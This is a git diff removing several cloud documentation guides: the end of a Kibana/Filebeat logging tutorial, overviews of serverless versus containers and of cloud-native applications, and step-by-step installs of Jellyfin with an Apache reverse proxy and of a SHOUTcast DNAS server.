a number of logs are present in Kibana for this container. Click **Discover** in the left-hand sidebar in Kibana. It displays the following screen. - - ![Kibana 6 Discover](kibana-discover.png "Kibana 6 Discover") - - - The histogram near the top of the page indicates the total number of container logs over time. - - The table below the graph contains the contents of individual log contents. - - Clicking on the arrows to the left of each log's timestamp will display the information for each captured log. - -1. Try re-issuing the previous `for ...` command to send another ten `curl` requests to the container and observe how the log histogram changes to reflect the new logs. - -1. Click **Dashboard** in the left-hand sidebar, then click it a second time to enter the dashboard selection screen. Search for "nginx" in the search bar. - - ![Kibana 6 NGINX Dashboards](kibana-nginx-dashboards.png "Kibana 6 NGINX Dashboards") - -1. Click on the **[Filebeat Nginx] Access and error logs** link, which will display a dashboard with a number of visualizations regarding nginx activity. - - ![Kibana 6 NGINX Metricbeat](kibana-nginx-metricbeat.png "Kibana 6 NGINX Metricbeat") - -## Additional Modules - -This tutorial has demonstrated how Filebeat and Metricbeat can automatically capture container metrics and logs without the need to explicitly configure log file paths or configurations. In addition to the nginx examples presented here, the additional links provided below enumerate other modules that can be loaded into Filebeat and Metricbeat for other services. diff --git a/docs/guides/applications/containers/serverless-vs-containers/index.md b/docs/guides/applications/containers/serverless-vs-containers/index.md deleted file mode 100644 index 00b3dc9e469..00000000000 --- a/docs/guides/applications/containers/serverless-vs-containers/index.md +++ /dev/null @@ -1,111 +0,0 @@ ---- -slug: serverless-vs-containers -title: "Serverless vs Containers: Choose Which One to Use" -description: 'What are the similarities and differences between serverless and containers? What should developers consider when choosing one?' -authors: ["John Mueller"] -contributors: ["John Mueller"] -published: 2023-05-02 -keywords: ['serverless vs. containers','serverless computing','serverless applications','containers','microservices','serverless architecture','serverless web applications','backend services'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' ---- - -Getting as much done in as little time, and with as little overhead as possible is an essential element of modern development. The end result needs to be easy to deploy, maintain, and debug. Plus, it all has to run in the cloud. That’s asking a lot, but both serverless applications and containers offer solutions. They’re both designed to replace virtual machines that require much more work on the organization’s part. Of the two, containers are a more robust solution that include everything needed to run an application, usually as a set of microservices. Meanwhile, serverless applications are less complex solutions that focus on application code that relies on services provided by a vendor API. There isn’t a right or wrong choice with either technology, simply the choice that benefits an organization most, as this guide explains. - -## What Is Serverless? - -Serverless applications are hosted on a vendor system, where the functions used to create them respond to events. With *serverless*, the developer focuses on the code, the application, and not the server or hardware. The infrastructure, such as backend services and libraries, are generally provided by the vendor. Therefore the developer is only looking at the application code, and not its dependencies. - -A serverless application provides functionality like automatic scaling, provisioning, built-in service integration, automated configuration, and high-availability. All without any additional effort on the developer’s part. Because of the manner of hosting, serverless applications can save an organization a huge amount of money on dependency costs. - -A serverless application can provide traditional desktop support, backend services, and serverless web applications. When compared to a microservice, the serverless application represents a method of running an application, while a microservice represents a method of designing an application. Additionally, serverless applications, unlike microservices, don’t run continuously, do require an event to begin execution, and individual functions perform exactly one task. A microservice can run continuously over a long period of time, and can support more than one task or function. The advantage of using a serverless application over a microservice is that the serverless application waits for an event, runs, and then stops. The costs of running a serverless application is therefore less than a microservice in situations where an application is expected to receive frequent usage spikes. - -### What is Serverless Used For? - -Serverless applications are perfect for mobile and web application startups because of their low startup costs and ability to handle lightweight applications. They are often employed in these use cases: - -- Situations where the traffic is unpredictable -- Internet of Things (IoT) applications -- Any application that sees constant and significant changes -- Applications where it’s possible to break tasks down into single functions and then compose these functions together to create a Packaged Business Capability (PBC) - -### Considering the Serverless Application Process - -As with most application development, there is a process to follow in order to architect a serverless application. It doesn’t matter whether the resulting software represents backend services, frontend services, or both. This process is inherently different from working with monolithic applications, microservices, [Packaged Business Capabilities (PBCs)](https://www.elasticpath.com/blog/what-is-the-difference-between-PBCs-and-microservices), container applications, or any number of other software development patterns. The idea is to break a software requirement down into smaller pieces until it’s possible to describe a particular piece very simply. Here’s how: - -1. Define individual services that perform a specific task. -1. Define individual functions (elements that perform one and only one task) to make up the services. -1. Define events that fire the functions, remembering that serverless applications work around the idea that a function starts, performs a task, and then stops. -1. Create configuration files that describe each function. -1. Create a configuration provider file that describes how the function is to interact with the framework that supports the serverless application. -1. Create a service configuration that describes the provider file, function files, and any plugins that make up the service. - -## What Are Containers? - -Containers differ from serverless applications because a container has everything needed to run the application, such as libraries, system settings, and other dependencies. This additional content over a serverless application means that the developer needs to be concerned about the application code and everything that goes with it. Consequently, there is more work for the developer. However, containers have some serious benefits over serverless applications, one of which is a lack of vendor lock-in. For instance, a [Docker](https://www.docker.com/) container application can run on any system that supports Docker. Just like containers used for shipping, container applications are standardized. They can be moved anywhere, on any system, without regard to the underlying hardware, or operating system details. - -A container is focused on just one application, unlike a virtual machine, which imitates an entire computer, operating system, and all. A container is simpler and less resource intensive. Given an application of equal complexity, it’s possible to run more containers on a physical piece of hardware than virtual machines. On the other hand, a virtual machine can run multiple applications. A major difference between containers and virtual machines is that containers share a single kernel (operating system) on a physical machine. Meanwhile, virtual machines each have their own kernel. Consequently, all container applications running on a physical device must be compatible with the one kernel. Using a virtual machine offers the opportunity to use the particular kernel that works best with the applications in question. - -### What Are Containers Used For? - -Containers are often used for the following purposes: - -- Deploying API endpoints -- Deploying repetitive jobs and tasks -- Providing devops support for Continuous Integration and Continuous Deployment (CI/CD) -- Hosting background processing applications -- Handling event-driven processing -- Running microservices -- Moving large legacy applications to the cloud - -### Considering the Container Application Process - -As with serverless applications, there is a common process used to create container applications of all sorts. Generally, this process follows these steps: - -1. [Break an existing monolithic application down into microservices](https://martinfowler.com/articles/break-monolith-into-microservices.html) as necessary. -1. Create a new container image based on an existing image template. -1. Add code, resources, and other application files to the image using host commands. -1. Configure the image’s startup commands using host commands. -1. Build and run the image from within the container (rather than externally as normal). -1. Deploy the image using the host server’s instance service. - -## What Are Similarities Between Serverless and Containers? - -Serverless applications and containers embrace similar strategies of breaking solutions down into smaller, more manageable pieces. They also have the same goals of reducing costs, development time, and maintenance time, while creating a more flexible environment. - -## What Are the Key Differences Between Serverless and Containers? - -In addition to the differences already mentioned, it’s possible to compare them in specific ways. Most notably, the two technologies have differences in the manner they use physical machines, scale, keep costs low, and manage deployment details. - -### Physical Machines - -A serverless application can live on multiple physical machines, while container applications always reside on just one physical machine. The ability to live on multiple machines gives serverless applications a resource availability advantage without a lot of extra work on the developer’s part. However, techniques like load balancing can be used to divide the load between multiple instances of a container application on multiple physical systems. The end result is seemingly the same, but the container application requires more configuration and implementation. - -### Scalability - -Serverless applications have an advantage when it comes to scalability because they automatically scale. The hosting vendor provides as little or as much computing power as needed to handle a particular load at a given time. When working with container applications, a developer needs to allocate enough containers to handle the anticipated load. If the load exceeds expectations, the application begins to run slowly, negatively impacting customers. When the load is less than expected, an organization wastes money on unused resources. It’s entirely possible to find cloud providers that have automatic scaling at the virtual machine level. While this can help mitigate the container disadvantage to some degree, this is *configurable* by the developer, but not *managed* by them. - -### Cost - -Serverless applications run only when they need to, which means they cost less to operate than containers when viewed directly. However, a problem occurs when considering the cost of application latency. Because a container is always running, it provides an immediate response to any request. If a serverless application needs to be loaded from outside the cache, there is additional time to consider before the task completes. Time is money. Consequently, even for loads where the requests are consistent, container applications may actually cost less because they’re more responsive. - -### Deployment Time - -The time to deploy applications has consistently gotten shorter. What used to take months using physical systems and minutes using virtual machines, now takes seconds using containers, and milliseconds using serverless applications. A serverless application developer generally has a deployment time advantage because there are no underlying system dependencies to configure and serverless applications are smaller. - -### Maintenance - -Serverless applications require less direct maintenance than containers because the hosting service addresses all of the maintenance needs. In an ideal situation, this means a serverless application developer has a significant advantage in time because the container developer must address low-level maintenance. However, the serverless application scenario can also experience problems. For example, unexpected or unwanted updates pushed by a vendor who has an interest in keeping everything up-to-date. Because a container developer has direct control over the underlying details, maintenance can be performed at a time most beneficial to the container application. This potentially saves time in the long term. - -### Testing - -Application testing is challenging when working with a serverless application because of how it runs. An event triggers the function, which performs the task and immediately shuts down. A developer is often forced to use application logs to locate the source of a problem. Container applications run continuously and in the same manner no matter where they run. In this case, the developer often has standardized tools to use in the debugging process. Many IDEs, such as [IntelliJ IDEA](https://www.jetbrains.com/help/idea/debug-a-java-application-using-a-dockerfile.html), are set up to debug container applications. - -## What Factors Should Developers Use to Choose Which One to Use? - -Serverless applications offer reduced deployment time, fewer maintenance requirements, and cost less when working with a load that can suddenly spike. They’re an optimal choice for startups that have smaller, less complex applications to manage without special underlying support needs. - -Container applications offer reduced costs for consistent loads and a great deal more in application configuration flexibility. They’re an optimal choice when moving a legacy application from local servers to the cloud. - -## Conclusion - -Serverless applications and containers both have advantages and disadvantages. Sometimes the best option is not to make a choice, but rather to use the technology that fits a specific need. Parts of a solution can run as serverless applications and other parts can run as containers. Of course, this combined option has drawbacks, too. Not the least of which is having to manage two different technologies for a single solution. This increases complexity and potentially reduces both reliability and security. \ No newline at end of file diff --git a/docs/guides/applications/containers/what-are-cloud-native-applications/index.md b/docs/guides/applications/containers/what-are-cloud-native-applications/index.md deleted file mode 100644 index 561195856a1..00000000000 --- a/docs/guides/applications/containers/what-are-cloud-native-applications/index.md +++ /dev/null @@ -1,70 +0,0 @@ ---- -slug: what-are-cloud-native-applications -title: "What Are Cloud-Native Applications" -description: 'Learn what cloud native means, and how cloud-native apps differ from traditional on-premises applications.' -authors: ["Andy Patrizio"] -contributors: ["Andy Patrizio"] -published: 2023-06-12 -keywords: ['cloud-native applications','cloud native apps','microservices','kubernetes','docker'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' ---- - -"Cloud-native applications" is a term that has evolved as it has grown. As part of that growth, the [Cloud Native Computing Foundation](https://www.cncf.io/) (CNCF) was launched in 2015 by the Linux Foundation. It serves as a vendor-neutral platform for many projects around cloud-native apps, including Kubernetes, Prometheus, and Envoy. - -Cloud-native is an app modernization technique, usually driven by a business need to modernize applications as much as possible to drastically improve scale. Older, on-premises, monolithic applications are broken up into autonomous subsystems called microservices. These microservices can be deployed and scaled independently from other areas of the application. This allows the components to evolve independently as needed, and scale up more than would be possible in the old design. - -Considering the term is cloud *native*, it implies that apps live in the public cloud, as opposed to an on-premises data center. This is true, as they can be set up to run in cloud data centers owned by Amazon, Microsoft, or Google. However, they can also run in a private cloud within your own environment. - -The CNCF defines cloud-native computing an open source software stack used for containers. Each part of the app is packaged in its own container and dynamically orchestrated. They are actively scheduled and managed to optimize resource utilization. They are microservices-oriented to increase overall agility and maintainability. - -## Cloud vs. On-Premises - -In contrast to on-premises apps, cloud-native apps are architected specifically to run in the elastic and distributed nature of the cloud. One of the key differences between on-premises and the cloud is that cloud usage is metered. You pay for every CPU cycle, disk I/O, and even network traffic. - -On-premises apps have no such restrictions. It’s your environment, so apps are limited only by hardware resources and other apps on your network. - -Another key difference is on-premesis apps are usually monolithic, meaning all of the functions are contained in the app. Meanwhile, cloud-based apps are broken up into a microservices architecture. Here, functions are separated, so one specific function can be used without needing the rest. - -Because of this, cloud apps are described as "loosely coupled". This means that the code is not hardwired to any of the infrastructure components, so the app can scale up and down on demand. These architectures are typically built using microservices, but it's not mandatory. - -## What Are Microservices? - -Red Hat defines microservices as an architectural approach to building applications. As an architectural framework, microservices are distributed and loosely coupled, so one team’s changes won’t break the entire app. The benefit to using microservices is that development teams are able to rapidly build new components of apps to meet changing business needs. - -The microservice architecture enables the rapid, frequent, and reliable delivery of large, complex applications as needed. - -For example, when Microsoft issues its monthly fixes, does it send down a whole new installation of Windows? No, that would be completely inefficient when only a small piece of the overall operating system is being updated. Instead, the company pushes out a few megabytes of updated code to replace the existing code. - -With a monolithic on-prem app, updates mean that you have to update the whole app. With microservices, you just push the updated code. - -Cloud-native apps run in what is known as a container. Containers are similar to virtual machines, but slimmer. A virtual machine has a full operating system and gigabytes allocated to it, while containers have only a sliver of the OS and megabytes allocated. - -Containers effectively virtualize the host operating system (or kernel) and isolate an application’s dependencies from other containers running on the same machine. So if a container crashes, it doesn’t take down the whole app. - -The most popular container manager is Docker, however, there are a large [number of competitors](https://www.winosbite.com/docker-alternatives/). - -Kubernetes is another important component of cloud native. Developed by Google, Kubernetes is an open source container management platform that unifies a cluster of machines into a single pool of compute resources. Kubernetes organizes applications into groups of containers using the Docker engine, and keeps your application running as intended. - -## Key Differences Between Cloud-Native and On-Premises Applications - -Cloud-native requires a very different architecture than traditional on-premises enterprise applications. Here are the key differences: - -1. **Languages**: On-premises apps tend to be written in traditional languages like C/C++ and enterprise Java. If it’s on a mainframe, it’s likely in COBOL. Cloud-native apps are more likely to be written in a Web-centric language like Java, JavaScript, .Net, Node.js, PHP, Python, and Ruby. - -1. **Updateable**: Cloud-native apps are updated far more regularly and routinely through a DevOps process known as Constant Iteration and Constant Delivery (CI/CD). On-premises apps also require downtime as updates are installed, while cloud-native apps are always available. - -1. **Resilience**: Because the microservices architecture breaks an app into its core functions, each function is called a *service* that can be built and deployed independently. This means that individual services can function without negatively affecting others. If a function crashes, it doesn’t bring down the whole system like an on-premises app would. - -1. **Elasticity**: Cloud-native apps take advantage of the elasticity of the cloud by dynamically increasing resources when there is a spike in usage. If your cloud-based app experiences a burst in use, extra compute resources are automatically made available until the spike subsides and those extra resources are then deallocated. An on-premises app can’t do that. - -1. **Multi-Tenancy**: A cloud-native app has no problem working in a virtualized space and sharing resources with other apps. That’s what they are designed for. Most on-premises apps don’t work well in a virtual environment, or don’t work at all, thus requiring all the resources of a server. - -1. **Connected Resources**: An on-premises app usually has hard-coded connections to resources, such as networks, security, and storage. That means things can break if anything is moved or changed. A cloud-native app can automatically find those resources without requiring human intervention. - -1. **Automated**: Unlike on-premises apps, much of the cloud is automated, and that includes app management. Container management tools like Docker and Kubernetes automate everything, including scale up/scale down, self-service, rollback of problematic apps, and auditing of the app’s performance. With on-premises, this is usually done manually. - -## The Challenges - -Because cloud-native and on-premises are so different, the biggest mistake is to do what is called "lift and shift". This is where old on-premises apps are simply moved to AWS or Azure unchanged. This completely fails to take advantage of everything the cloud has to offer, such as scale and ease of updates. - -The real decision is whether to migrate an old on-premises app to the cloud, or simply rewrite from scratch. Here, the rule of thumb is that the more rewriting you have to do, the more appealing a rewrite from scratch becomes. \ No newline at end of file diff --git a/docs/guides/applications/media-servers/how-to-install-jellyfin/index.md b/docs/guides/applications/media-servers/how-to-install-jellyfin/index.md deleted file mode 100644 index 90dc9b36b13..00000000000 --- a/docs/guides/applications/media-servers/how-to-install-jellyfin/index.md +++ /dev/null @@ -1,191 +0,0 @@ ---- -slug: how-to-install-jellyfin -title: How to Install Jellyfin on Linux -description: 'This guide will show you how to install Jellyfin, an open-source solution for organizing your media, on a Linode running Ubuntu 18.04.' -authors: ["Gardiner Bryant"] -contributors: ["Gardiner Bryant"] -published: 2019-08-07 -modified: 2020-12-04 -keywords: ["Jellyfin", "Media Server", "PLEX"] -tags: ["ubuntu"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/applications/media-servers/how-to-install-jellyfin/'] ---- -Jellyfin is an open source media library management and streaming platform, similar to [Plex](https://www.plex.tv/). This document guides you through the process of installing and configuring **Jellyfin** on your Linode running Ubuntu 18.04. - -In this guide you complete the following: - -- [Install and configure Jellyfin on a Linode](#install-jellyfin) -- [Create a Reverse Proxy for Jellyfin](#create-a-reverse-proxy-for-jellyfin) - -## Before you Begin - -1. If you have not set up your Linode yet, check out our [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide and complete the steps for setting your Linode’s hostname and timezone. - -2. Follow up with our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to create a standard user account with `sudo` privileges. - -3. Run the following command to upgrade your packages: - - sudo apt-get update && sudo apt-get upgrade - - {{< note respectIndent=false >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, see the [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. - {{< /note >}} - -## Install Jellyfin - -1. Install and enable HTTPS transport for APT: - - sudo apt install apt-transport-https - -2. Enable the Universe repository for all of the `ffmpeg` dependencies: - - sudo add-apt-repository universe - -3. Import the GPG signing keys from the Jellyfin team: - - wget -O - https://repo.jellyfin.org/ubuntu/jellyfin_team.gpg.key | sudo apt-key add - - -4. Create a new file located at `/etc/apt/sources.list.d/jellyfin.list` - - sudo touch /etc/apt/sources.list.d/jellyfin.list - -5. Add the Jellyfin `apt` repository to your Linode. - - echo "deb [arch=$( dpkg --print-architecture )] https://repo.jellyfin.org/ubuntu $( lsb_release -c -s ) main" | sudo tee /etc/apt/sources.list.d/jellyfin.list - - {{< note respectIndent=false >}} -Current supported releases are `Cxenial`, `bionic`, `cosmic`, and `disco`. Since we're using Ubuntu 18.04, `lsb_release` becomes `bionic`. -{{< /note >}} - - The output, and the content of the `/etc/apt/sources.list.d/jellyfin.list`, should look something like this: - - {{< output >}} -deb [arch=amd64] https://repo.jellyfin.org/ubuntu bionic main -{{< /output >}} - -6. Finally, update your packages and install Jellyfin - - sudo apt update && sudo apt install jellyfin - -## Configure Jellyfin - -Now that Jellyfin is successfully installed, it needs to be configured and pointed to our media. - -### Initial Setup - -1. Setting up Jellyfin is done through the web interface. Before you can access the web interface, disconnect from SSH and create a secure tunnel via SSH from your local host to your Linode. - - ssh user@192.0.2.1 -L 8888:localhost:8096 - - {{< note respectIndent=false >}} -Substitute `user` with the `sudo user` on your Linode, and `192.0.2.1` with your Linode's IP address. -{{< /note >}} - -1. Open your browser and navigate to `http://localhost:8888/`. You should now see the Jellyfin first-time configuration screen. Start by selecting your preferred language from the drop down menu. Then click the **Next** button to continue. - - ![Language Setup](jellyfin-language-set-up.png) - -1. Create your user account and password. Then click the **Next** button to continue. - - ![Account Creation](jellyfin-account-creation.png) - -1. Now you create the directories to store your media on your Linode. For example, if you want to have music and movies on your server, you would create a directory to store them by using the following command in your terminal: - - cd ~/ - sudo mkdir -p jellyfin-media/music && sudo mkdir jellyfin-media/movies - -1. Back in your browser, now that your account is created, we can add your media. Click on the **Add Media Library** button to begin this process. - - ![Library Setup](jellyfin-library-setup.png) - - {{< note respectIndent=false >}} -Each kind of content type provides a different set of options for you to configure, such as where you would like your metadata retrieved from, etc. -{{< /note >}} - -1. Content in Jellyfin is organized into Libraries. Libraries can have multiple directories from which they aggregate their media. You can specify directories using the Folders plus **(+)** button. Click the **(+)** button to add the folder you created earlier. - - ![Choose the "Folders" button](jellyfin-library-folders.png) - -1. In the **Folders** field, enter the full path to your folder (`/home/username/jellyfin-media/movies`) then click the **Ok** button. - - ![Path to Folder](jellyfin-folder-library.png) - -1. You can add as many libraries as you'd like both now and [later through your dashboard](#add-and-organize-media) - Click the blue **Next** button to proceed to the next sections. - -1. Select your preferred metadata Language, then click on the **Next** button. - -1. Disable port mapping by unchecking the *Enable automatic port mapping* option as this feature can pose a security risk in a cloud environment. Port Mapping is generally enabled in a local environment behind a home router, where you may want your Jellyfin server to be able to seamlessly connect to other devices. - - ![Library Dashboard](jellyfin-disable-port-mapping.png) - -1. Click the **Next** button. Your setup is now complete and you are required to sign in as the user with the password you setup earlier. - -### Disable Unneeded Features (Recommended) - -[DLNA](https://en.wikipedia.org/wiki/Digital_Living_Network_Alliance) is a protocol that incorporates [Universal Plug and Play](https://en.wikipedia.org/wiki/Universal_Plug_and_Play) (or UPnP) standards for digital media sharing across devices. Port `1900` is openly available and any DLNA device or application can have full unrestricted access to your content. Therefore, we recommend disabling DLNA if you are not using it. - -Click the "hamburger" menu in the top left corner of Jellyfin and choose *Dashboard*. Then on the left side of the screen choose *DLNA*, then disable and save your DLNA settings. - -![Disable DLNA](DLNAremoval.png) - -### Add and Organize Media - -- You can add as many libraries as you'd like through the *Dashboard* under *Libraries* at any time. - - ![Library Dashboard](jellyfin-library-dashboard.png) - -- Media can be added to individual folders from inside your Linode using various [file transfer tools](/cloud/guides/tools-reference/file-transfer/) and [download methods](/cloud/guides/download-resources-from-the-command-line-with-wget/). -- Once files in a folder are added to your Jellyfin server, they can be accessed from your *Home Menu* by clicking on the Home icon at top left of the page after selecting the hamburger menu. - - ![Home Menu](homemenu.png) - -## Create a Reverse Proxy for Jellyfin - -Jellyfin primarily works as a web frontend for your media. That means you generally want to proxy the default Jellyfin websocket to requests. Jellyfin supports a [large number of server software solutions](https://jellyfin.org/docs/general/networking/apache.html) for this purpose, though in this guide, the example is [Apache](http://httpd.apache.org/). - -1. Install Apache with the following command: - - sudo apt install apache2 - -1. Enable proxy settings for Apache with the following commands: - - sudo a2enmod proxy - sudo a2enmod proxy_http - -1. Open a new virtual host file for your configuration. Replace `example.com` in this example with the domain name you are using: - - sudo nano /etc/apache2/sites-available/jellyfin.example.com.conf - - {{< note respectIndent=false >}} -Although nano is used in this example, feel free to use the text editor of your choice. -{{< /note >}} - -1. Use the following Apache virtual host configuration to create your reverse proxy. Replace `jellyfin.example.com` with your domain/subdomain. - - {{< file "/etc/apache2/sites-available/jellyfin.example.com.conf" >}} - - ServerName jellyfin.example.com - ErrorLog /var/log/apache2/jellyfin-error.log - CustomLog /var/log/apache2/jellyfin-access.log combined - - ProxyPreserveHost On - - ProxyPass "/embywebsocket" "ws://127.0.0.1:8096/embywebsocket" - ProxyPassReverse "/embywebsocket" "ws://127.0.0.1:8096/embywebsocket" - - ProxyPass "/" "http://127.0.0.1:8096/" - ProxyPassReverse "/" "http://127.0.0.1:8096/" - -{{< /file >}} - -1. Enable your new website: - - sudo a2ensite jellyfin.example.com.conf - -1. Restart Apache to fully enable your settings: - - sudo systemctl restart apache2 - -You may also want to [set up SSL encryption for this virtual host](/cloud/guides/secure-http-traffic-certbot/). For more information regarding this configuration, see Jellyfin's [reverse proxy documentation](https://jellyfin.org/docs/general/networking/index.html#running-jellyfin-behind-a-reverse-proxy) diff --git a/docs/guides/applications/media-servers/how-to-install-shoutcast-dnas-server-on-linux/index.md b/docs/guides/applications/media-servers/how-to-install-shoutcast-dnas-server-on-linux/index.md deleted file mode 100644 index a37c09ca8bd..00000000000 --- a/docs/guides/applications/media-servers/how-to-install-shoutcast-dnas-server-on-linux/index.md +++ /dev/null @@ -1,332 +0,0 @@ ---- -slug: how-to-install-shoutcast-dnas-server-on-linux -title: How to Install A SHOUTcast DNAS Server on Linux -description: 'This tutorial will guide you through setup and configuration of a SHOUTcast DNAS server for media streaming on Linux.' -authors: ["Chris Ciufo"] -contributors: ["Chris Ciufo"] -published: 2012-06-07 -modified: 2019-03-25 -keywords: ["shoutcast", " internet radio", " streaming media", " streaming audio"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/applications/media-servers/shoutcast/','/applications/media-servers/how-to-install-shoutcast-dnas-server-on-linux/','/communications/media-servers/shoutcast/'] -external_resources: - - '[SHOUTcast Home Page](http://www.shoutcast.com)' - - '[SHOUTcast Getting Started Guide](http://wiki.winamp.com/wiki/SHOUTcast_Getting_Started_Guide)' - - '[SHOUTcast Broadcast Tools](http://www.shoutcast.com/broadcast-tools)' - - '[SHOUTcast Transcoder MP3 Licensing](http://wiki.winamp.com/wiki/SHOUTcast_DNAS_Transcoder_2#Registering_for_MP3_Stream_Encoding)' -dedicated_cpu_link: true ---- - -![How to Install A SHOUTcast DNAS Server on Linux](install-shoutcast-dnas-title.jpg "How to Install A SHOUTcast DNAS Server on Linux title graphic") - -SHOUTcast is software designed for streaming media over the internet. The SHOUTcast system uses a classic client-server configuration. You can install SHOUTcast on your server and use it to broadcast a stream of music to clients connected to the server. A Shoutcast media server could benefit from large amounts of disk space, so consider using our [Block Storage](https://techdocs.akamai.com/cloud-computing/docs/block-storage) service with this setup. - -{{< note >}} -Be sure to [check the broadcast tools download page](http://www.shoutcast.com/broadcast-tools) for the newest version of SHOUTcast. -{{< /note >}} - -## SHOUTcast DNAS Software - -The SHOUTcast DNAS (Distributed Network Audio Server) software is the server version of the software that allows you to broadcast to listeners. To use SHOUTcast, you'll need to download and install SHOUTcast DNAS on your Linode. - -### Download and Install SHOUTcast - -There are several versions of this software, so make sure you are downloading the correct one. The Linux version is offered in both 32-bit and 64-bit versions. You'll need to [download](http://www.shoutcast.com/broadcast-tools) whichever version corresponds to the operating system you have installed on your Linode. - -1. Create a user for running SHOUTcast, so you are not running it as root. Enter the following command: - - adduser shoutcast - -2. Change to the new user's home directory by entering the following command: - - cd /home/shoutcast - -3. Create a directory for SHOUTcast: - - mkdir sc - -4. Now we can download the DNAS package. In this example, we will download the 32-bit version: - - wget http://download.nullsoft.com/shoutcast/tools/sc_serv2_linux_x64-latest.tar.gz - -5. Extract the SHOUTcast files to the new directory by entering the following command: - - tar -xzf sc_serv2_linux_x64-latest.tar.gz -C sc - -6. Change the ownership from `root` to the SHOUTcast user: - - chown -R shoutcast.shoutcast /home/shoutcast/sc - -The SHOUTcast DNAS software is now installed on your Linode. - -### Configure SHOUTcast - -Now, you'll want to modify the configuration. This is necessary to specify passwords and set the SHOUTcast port. Here's how to configure SHOUTcast: - -1. Open the SHOUTcast configuration file: - - nano sc/sc_serv_basic.conf - -2. This will bring up the configuration file for editing, as shown below. - - {{< file "/home/shoutcast/sc/sc_serv_basic.conf" conf >}} -; NOTE: for any relative paths specified are relative to -; sc_serv and not to where the conf file is being stored - -; here we will setup where the log and other related files -; will be stored. make sure that these folders exist else -; sc_serv will throw an error and will close itself down. -; we will make the logs save to the sc_serv2 directory -logfile=logs/sc_serv.log -w3clog=logs/sc_w3c.log -banfile=control/sc_serv.ban -ripfile=control/sc_serv.rip - - -; for testing we will make the server only work locally -; (i.e. localhost / 127.0.0.1) though if this is left out -; or set to publicserver=always then we attempt to make a -; connection to the YP for listing - do not forget to add -; in a 'streamauthhash' value for any public streams made -;publicserver=never - - -; if you're wanting to use a different port to use for any -; connections then you can use this option e.g. to use 80 -; otherwise port 8000 is used as the default to listen on. -;portbase=80 - - -; password used by sc_trans or the Winamp dsp plug-in -; NOTE: remember to change this to something else -password=testing - - -; password used for accessing the administration pages -; NOTE: remember to change this to something else -adminpassword=changeme - - -; now we will specify the details of the stream we're going -; to serve which can be done as follows -streamid=1 -streampath=/test.aac - -; or - -; it can be done like this which is how it needs to be done -; if you are going to provide multiple streams from sc_serv -;streamid_1=1 -;streampath_1=/test.aac -;streamid_2=2 -;streampath_2=/test2.aac - -{{< /file >}} - - -3. Set the `password` and `adminpassword` variables to whatever you want them to be. -4. The `portbase` variable should be set to use a port you are not using for anything else. The default port for SHOUTcast is 8000. - - {{< note respectIndent=false >}} -If you set the `portbase` variable to anything besides 8000, be sure to uncomment it by deleting the semicolon in front of the variable. -{{< /note >}} - -5. Save the changes to the SHOUTcast configuration file by pressing Control-X, and then Y. - -Now that the configuration is set and saved, we can start the server. - -### Start SHOUTcast - -Now, you can start the SHOUTcast server. Here's how: - -1. You'll want to run your shoutcast in a [screen session](/cloud/guides/using-gnu-screen-to-manage-persistent-terminal-sessions/). Let's jump into a screen session by entering the following command: - - screen - -2. Start the SHOUTcast server by entering the following command: - - ./sc_serv sc_serv_simple.conf - -3. After you issue the start command, you should see the startup output ending with: - - 2011-11-02 14:50:03 I msg:[MICROSERVER] Listening for connection on port 8000 - 2011-11-02 14:50:03 I msg:[MICROSERVER] Listening for connection on port 8001 - -4. You can detach from your screen session at this point. To do so, hold down the Control key and press A, let go, and then press D. -5. You should be back at the command prompt outside of your screen session. If you need to reattach later on, simply type: - - screen -raAd - -Your SHOUTcast server is now running! You can now connect to it and begin your broadcast. - -## SHOUTcast Transcoder - -The SHOUTcast Transcoder allows you to schedule DJ play times, broadcast an automatic playlist in a specific time slot, schedule time slots for relayed broadcasts, etc. - -{{< note >}} -To encode your streams in MP3 format, you *must* [purchase a license key from WinAmp, which costs \$5 USD](http://wiki.winamp.com/wiki/SHOUTcast_DNAS_Transcoder_2#Registering_for_MP3_Stream_Encoding). -{{< /note >}} - -### Download and Install SHOUTcast Transcoder - -We'll use the same shoutcast user to set up the Transcoder software. Here's how to download and install the transcoder: - -1. Change directories by entering the following command: - - cd /home/shoutcast - -2. Create a new directory for the transcoder by entering the following command: - - mkdir sct - -3. Download the SHOUTcast transcoder archive by entering the following command: - - wget http://download.nullsoft.com/shoutcast/tools/sc_trans_linux_10_07_2011.tar.gz - -4. Extract the SHOUTcast transcoder files by entering the following command: - - tar -xzf sc_trans_linux_10_07_2011.tar.gz -C sct - -5. Change ownership from `root` to the SHOUTcast user: - - chown -R shoutcast.shoutcast /home/shoutcast/sct - -6. Change directories by entering the following command: - - cd sct - -7. Change permissions by entering the following command: - - chmod a+x sc_trans - -The SHOUTcast transcoder is now installed on your Linode. - -### Configure the SHOUTcast Transcoder - -This example will walk you through a basic configuration. - -1. Open the configuration file by entering the following command: - - nano /home/shoutcast/sct/sc_trans_basic.conf - -2. You can modify the bitrate to change the sound quality of the music and limit the amount of bandwidth consumed. If you purchase MP3 licensing, you can modify the encoder section to add the MP3 encoding and your unlock data: - - {{< file "/home/shoutcast/sct/sc_trans_basic.conf" conf >}} -; for testing we will only setup a single encoder though it -; is easy to add in additional encoder configurations and -; we are using an aac plus encoder as the default due to -; the licensing requirements for mp3 encoding as detailed -; in sc_trans.txt - section 2.5). -encoder_1=aacp -encoder_2=mp3 -bitrate_1=56000 -bitrate_2=56000 - -unlockkeyname=YourUnlockName -unlockkeycode=YourUnlockCode - -{{< /file >}} - - -3. Next, modify the `sc_trans` to `sc_serv` connection details: - - {{< file "/home/shoutcast/sct/sc_trans_basic.conf" conf >}} -; this is where we define the details required for sc_trans -; to connect to the sc_serv instance being used where the -; details must match those specified in sc_serv_basic.conf -outprotocol_1=3 -serverip_1=127.0.0.1 -; default is 8000, if not change to sc_serv's 'portbase' -serverport_1=8000 -; this is the same as 'password' in sc_serv_basic.conf -password_1=testing -; this is the same as 'streamid' in sc_serv_basic.conf for -; the stream we are acting as the source for -streamid_1=1 